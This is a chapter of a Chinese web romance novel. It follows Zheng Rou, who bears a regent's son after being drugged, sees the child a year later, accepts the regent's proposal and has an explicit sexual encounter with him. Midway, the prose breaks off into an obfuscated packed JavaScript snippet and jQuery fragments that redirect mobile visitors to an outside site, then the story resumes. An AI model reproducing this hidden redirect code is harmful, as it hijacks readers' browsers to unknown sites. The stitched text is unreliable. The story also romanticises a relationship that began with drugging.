五个月后。
因为经验不足,太过青涩,又是头胎,郑柔痛了整整三日,方才在撕裂一般的剧痛中,生下一个男婴。
郑柔的产期提前了半个月,庵中没有稳婆,只有两个年迈的尼姑手忙脚乱地帮她接生。
痛得几乎昏死过去,郑柔修剪得圆润整齐的指甲,在床榻上抓出深深的痕迹。
“出来了!是个小子!”老尼的声音,仿佛是从很远的地方传来,带着喜悦。
郑柔孱弱地睁开眼眸,只来得及瞧见一团红通通的小东西被包裹着,然后便陷入了昏迷之中。
待她再次醒来时,房间中静得出奇。
不曾有婴儿的啼哭,只有淡淡的血腥味,萦绕在鼻尖。
挣扎着坐起身来,身体的剧痛教郑柔倒抽一口冷气。
“孩子……孩子呢?”郑柔开口,声音嘶哑得不像自己的。
正在郑柔眼泪要落下来的时候,门“吱哟”一声,被人自外面推开。
一道高大伟岸的身影走了进来,是陆承远。
今日的陆承远身着玄色直裰,面容冷峻,他手里抱着一个锦缎襁褓,里面传出微弱的啼哭声。
“郑小姐。”陆承远的声音疏离冷漠,“这孩子,本王会好好抚养。”
听着陆承远的话,虽然,这五个月以来,郑柔早已有心理准备,但,此时此刻,她的心脏,却还是像是被一只无形的手攥紧了。
眼泪夺眶而出,忽然之间,郑柔很想扑上去抢回自己的孩子,可她却连抬手的力气皆没有。
郑柔只能眼睁睁瞧着陆承远转身离开,带走她生下的,方才来到这个世界的小生命。
房门关上的瞬间,郑柔以手掩面,崩溃地哭了起来。
……
一年后。
清修两年,即将迎来生辰的郑柔,因为家中长辈太过思念她,想要为她办生辰宴,而被接回了郑家。
下了马车,郑柔站在品香楼门前,手指紧紧攥着衣角。
两年来,第一次离开尼姑庵,京城的喧嚣教郑柔有些不适应。
抬首,瞧着品香楼古朴典雅,美轮美奂的匾额,郑柔的心口,像被压了块石头。
“郑小姐,摄政王在二楼雅间等您。”一个身着靛色衣衫的跑堂走过来,恭敬地向戴着帷帽的郑柔行礼。
回过神来,郑柔点了点头,跟着面前的跑堂上了二楼。
她今日穿了一件素净的浅绿色衫裙,头发简单地挽起发髻,没有任何首饰。
比起两年前,肌肤白皙如玉的郑柔更加纤瘦,只是眼角眉梢间,却多了几分与年龄不符,成熟沉静的风韵,亦藏着挥之不去的忧郁之色。
雅间的房门被跑堂轻轻推开,郑柔的呼吸一滞。
陆承远正坐在窗畔的茶案前,见她来了,抬眸瞧了过来。
他比两年前更加威严冷冽,一身玄色衣衫衬得身形挺拔,眼角虽有几抹细纹,却更添男子手握重权,成熟稳重的魅力。
那双点漆墨眸,在瞧见面前出落得愈发娉娉婷婷,身段窈窕的郑柔之后,不由得亮了起来。
“柔娘。”瞧着垂首,走进雅间的郑柔,陆承远唤道,声音低沉。
郑柔的指尖微微有些发颤,这道声音教她想起那两个噩梦般的夜晚,亦教她想起,这一年来,无数个思念孩子的难眠之夜。
“王爷。”郑柔曲膝礼了礼,声音平静得不像自己。
陆承远凝眸瞧着面前亭亭玉立的郑柔,嗓音有些喑哑道:“一年不见,清减了许多。”
听到陆承远这般说,郑柔抬眼瞧他,唇角扯出一抹有些勉强的笑意,轻轻摇首道:“庵中清苦,倒亦习惯了。”
一阵沉默。
陆承远抬手,示意郑柔坐下,亲手为她斟了一盏温茶。
郑柔注意到他的长指修长有力,指节分明,与自己的记忆中一般。
“今日请你来,是有要紧的事。”陆承远放下茶盏,直视面前的郑柔的眼眸。
觉察到陆承远落在自己身上的目光,郑柔的心跳不由得加速,她隐约觉得,自己猜到了什么,却不敢确定。
陆承远凝眸瞧着面前的郑柔,轻轻击掌,雅间的侧门被推开,一个嬷嬷抱着个一岁左右的男孩走了进来。
郑柔手中的茶盏“啪”地掉在案上,茶水溅湿了她的衣袖。
眼眸紧紧盯着那个孩子圆润的,嫩生生的白嫩小脸,乌黑如黑曜石的眼眸,微微上翘的唇角……这是她身上掉下来,与她血脉相连的骨肉,她忍着三日剧痛生下的孩子,却从未见过一面。
“你……你叫什么名字?”郑柔开口,声音颤得不成样子。
“阿宁,本王的嫡子。”陆承远平静道,点漆般的墨眸,却观察着郑柔的反应。
嫡子?郑柔闻言,心像被刀割一般,她的孩子,成了陆承远与正妻陆夫人的孩子,那她算什么……
嬷嬷将生得白嫩俊朗的孩子放在地上,小男孩摇摇晃晃地走到陆承远身旁,有些好奇地打量着郑柔。
“阿宁,这是郑姐姐。”陆承远摸了摸孩子毛茸茸的小脑袋,温和道。
郑姐姐?听到陆承远对阿宁介绍自己,郑柔的眼泪瞬间盈眶而出,她的儿子叫她姐姐?这比任何酷刑皆要残忍。
忽然之间,郑柔很想冲过去,抱住孩子,告诉他,自己才是他的母亲。
可郑柔不能,郑柔只能紧紧攥住自己的衣袖,修剪得圆润的指甲,几乎要掐进掌心。
“郑姐姐好。”被陆承远抱在膝上,小男孩奶声奶气地说道,还像模像样地对郑柔拱手作揖。
郑柔的眼泪再也控制不住,大滴大滴地顺着面容滑落,她轻颤着伸出手,只是半途,怕与自己陌生的阿宁诧异害怕,又缩了回来。
“阿宁好……”郑柔哽咽道,声音已经泣不成声。
正在这时,陆承远示意嬤嬷,将有些纳罕瞧着面前哭泣的郑柔的阿宁带出去。
当房门关上的那一刻,郑柔再也支撑不住,伏在案上眼泪涟涟地痛哭起来。
“为什么……为什么要这般对我……”郑柔纤瘦的肩头剧烈颤着,“你晓得这一年来我有多想他吗?每次想到他可能正在哭,可能生病了,我的心便像被撕开一般……”
陆承远起身,走到郑柔身旁,将手放在她颤着的肩上,安慰道:“柔娘,莫要哭了。”
“为什么会变成这般?”郑柔抬首,面上尽是泪痕地瞧着面前高大伟岸的陆承远,“我该恨谁?直到现在,我还是不晓得谁会这般恨我,在芙芙的生辰宴给我下药,我该恨那晚的你,还是恨我自己不小心中招?那一晚太耻辱了,我多么希望那一晚什么皆不曾发生,不曾如现在一般,有了阿宁这个教我又爱又恨,牵挂思念的孩子,一切,覆水难收……”
听着郑柔痛苦哀伤的哭声,陆承远的目光暗了暗,对郑柔道:“那晚的事,本王甘之如饴,从未后悔。”
闻言,郑柔不由得愣住了。
“这一年,每次瞧见阿宁,本王便会想你,想那个晚上。”陆承远的声音低沉喑哑,“本王晓得这是不应该的,因为我们曾约定好,你生下阿宁,交予本王,从今往后,我们一刀两断,再无瓜葛,可是,本王却控制不住自己。"
忽然冷静下来,郑柔用帕子擦了擦面上的泪痕,别过面容去,打断了陆承远的话:“陆世伯别说这些了,世伯今日叫我来,便是为了教我见见孩子?”
垂眸,瞧着面前的郑柔,陆承远沉默片刻,忽然道:“五个月后,本王的一年孝期便满了,崔氏出身世家大族,是个端庄贤淑,处处挑不出错来的妻子,本王与她夫妻二十年,要为她守满一年,待过了孝期,本王会去郑家提亲,娶你为妻。”
听到陆承远这番话,郑柔猛地抬首,不敢相信自己的耳朵。
“本王晓得这很突然,但本王不想再等了。”瞧着面前眼眶通红的郑柔,陆承远认真道,“你考虑一下,阿宁尚小,需要一个母亲教养,而本王……亦需要你。”
郑柔听罢陆承远的话,不由得心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178396|180832||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跳如鼓。
嫁给陆承远?成为她所生的孩子的继母?这太荒谬了,却又深深吸引着郑柔。
“本王该走了。”陆承远忽然站起身来,“你好好想想。”
……
似乎瞧出郑柔的踌躇迟疑,陆承远站起身来,准备离开,朝雅间门口走去。
便在陆承远的手指碰到房门的那一刻,郑柔忽然走过去,牵住了他的一角宽大衣袖。
“我愿意!”郑柔哭喊着,两年的委屈,痛苦与思念在这一刻决堤,“我愿意嫁给王爷……”
听到郑柔的哭声,陆承远猛地转身,墨眸中燃起炽热的情焰。
他的一只大掌钳住郑柔不堪一握的细细腰肢,抱着怀中身姿娇小的软玉温香,垂首,吻上了她馥郁柔软的嫣唇。
这个濡湿灼热的吻带着压抑与渴望,几乎夺走了郑柔的呼吸,教她的脑海中一片空白。
低头,男人与怀中少女口唇相接,厮磨着带她来到床畔休憩的小榻上,将郑柔按在小榻。
郑柔阖着眼眸,不知不觉间,她抬手,有些难耐地抱着陆承远的脖颈与肩背,仿佛一株攀附的藤蔓。
雅间中寂静无声,只有细碎的唇舌咂咂,水泽搅动声。
“柔娘,你可知晓,本王忍得有多辛苦……”他的气息微乱,在她唇畔喘.着,灼热的大掌抚着她的后颈,“每次想到那两晚,本王早已食髓知味,却寻了许多貌美小意的人,亦除却巫山不是云……”
郑柔整个人轻轻颤着,任由陆承远将自己按在雅间的小榻上。
他的吻,自她柔软馥郁的嫣唇辗转而下,留下灼热的烙印……
郑柔的理智告诉她这是错的,可身体却背叛了她。
“世伯……”她垂眸,眼眸潋滟迷蒙地瞧着他,气息不稳地唤道。
“叫本王承远。”陆承远吻着女郎,有些含混不清道。
“承……承远……”在他坏心眼的捉弄下,半晌,紧紧咬唇的郑柔终于耐受不住,轻颤着说出这两个字。
她觉察到男人的身体明显僵了一下,旋即,更加激.狂孟浪。
“别……在雅间不行……”郑柔微弱地抗议着,却被陆承远更加汹涌灼热的亲吻打断了言语。
陆承远的大掌抚着羊脂白玉一般的肌肤,他喘.息着,解开衣带……
不晓得过了多久,雅间外传来脚步声,整个人被汗水打湿,像是方才从水里捞出来的郑柔,惊慌地推开陆承远。
“几个月后,你便是本王的妻子了。”他捏着她的下颔,额头贴着她被汗湿透的额头,郑重道,“待阿宁长大些,本王会适时教阿宁知晓真相……在合适的时机。”
听到陆承远的这番承诺,郑柔点点头,眼眸泪影复又泪盈于睫。
她不晓得这是喜极而泣,还是怅然苦涩,或许皆有。
陆承远瞧着面前少女丽容绯红,含泪的羞怯娇容,终究还是忍不住,再度俯身,吻着她馥郁柔软的嫣唇……
半晌,起身整理略微有些凌乱的衣衫,陆承远挑着郑柔的下颔,复又亲吻了一下,然后转身去隔壁雅间沐浴。
衫裙尽褪的郑柔蜷在薄毯中,露出带着点点痕迹的纤瘦如玉的肩头,独自坐在雅间里,她的纤指轻触自己被吻得有些红.肿的唇,心中百味杂陈。
她终于可以名正言顺地拥有自己的孩子了,虽然是以继母的身份。
她亦终于可以摆脱尼姑庵的清苦生活,成为魏王妃。
可是,这样自私的幸福,建立在多少人的痛苦之上?芙芙晓得这件事后会怎样?会不会觉得很痛苦,很不耻?自己的父母他们会接受吗?
蜷缩在薄毯中,郑柔心乱如麻地想了许久。
半晌,她擦干眼泪,慢慢将衫裙一件件穿好,然后腿脚微颤地下了小榻,有些不稳地站起身来。
无论如何,为了能陪伴在她当初痛了整整三日三夜,方才生下,思念了这般久的孩子身边,郑柔愿意付出任何代价,哪怕是嫁给曾经伤害过她的男人。